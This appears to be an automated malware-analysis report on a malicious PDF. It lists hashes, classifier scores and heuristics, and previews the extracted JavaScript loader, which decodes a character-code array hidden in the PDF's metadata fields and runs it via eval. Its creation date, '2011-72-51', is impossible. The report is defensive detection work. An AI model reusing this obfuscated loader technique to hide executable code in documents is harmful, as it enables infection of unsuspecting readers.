Malicious PDF — malware analysis report

Static analysis result for SHA-256 58af0b3d7916eac8…

MALICIOUS

PDF

17.9 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: c00b40e90a2270139f6d2ab26ccc0709 SHA-1: c3118a7ce09542e0fb3d3068b04bc978b61305cd SHA-256: 58af0b3d7916eac8095d3e4fdb472efa5f9840af3b1688e5a4dfd3f0ef71c262
154 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious File

The ML classifier strongly indicates maliciousness (0.999994). The PDF contains embedded JavaScript, identified by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript is obfuscated using String.fromCharCode, a common technique to evade static analysis. The embedded JavaScript stream is the primary indicator of malicious activity, likely serving as a downloader or initial execution vector.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x4597 337 bytes
SHA-256: bf67f0d2c5285b8701a3b861608364aeae563452b5a653e47b50b93b6bfc9633
Preview script
First 1,000 lines of the extracted script
var w = 4;
var hvi = this.title.replace(/w/g,'*w,');
hvi = hvi.replace(/t/g,'2');
hvi=hvi.substr(0,hvi.length-2) + ']';
syc=function(){return this}();
mlpkz=syc[this.subject];
hduba=mlpkz(this.producer);
bmgp = mlpkz(hvi);
var s = '';
for (i = 0; i < bmgp.length; i++) {
	fczhf = bmgp[i];
	s += hduba(fczhf);
}
mlpkz(s);

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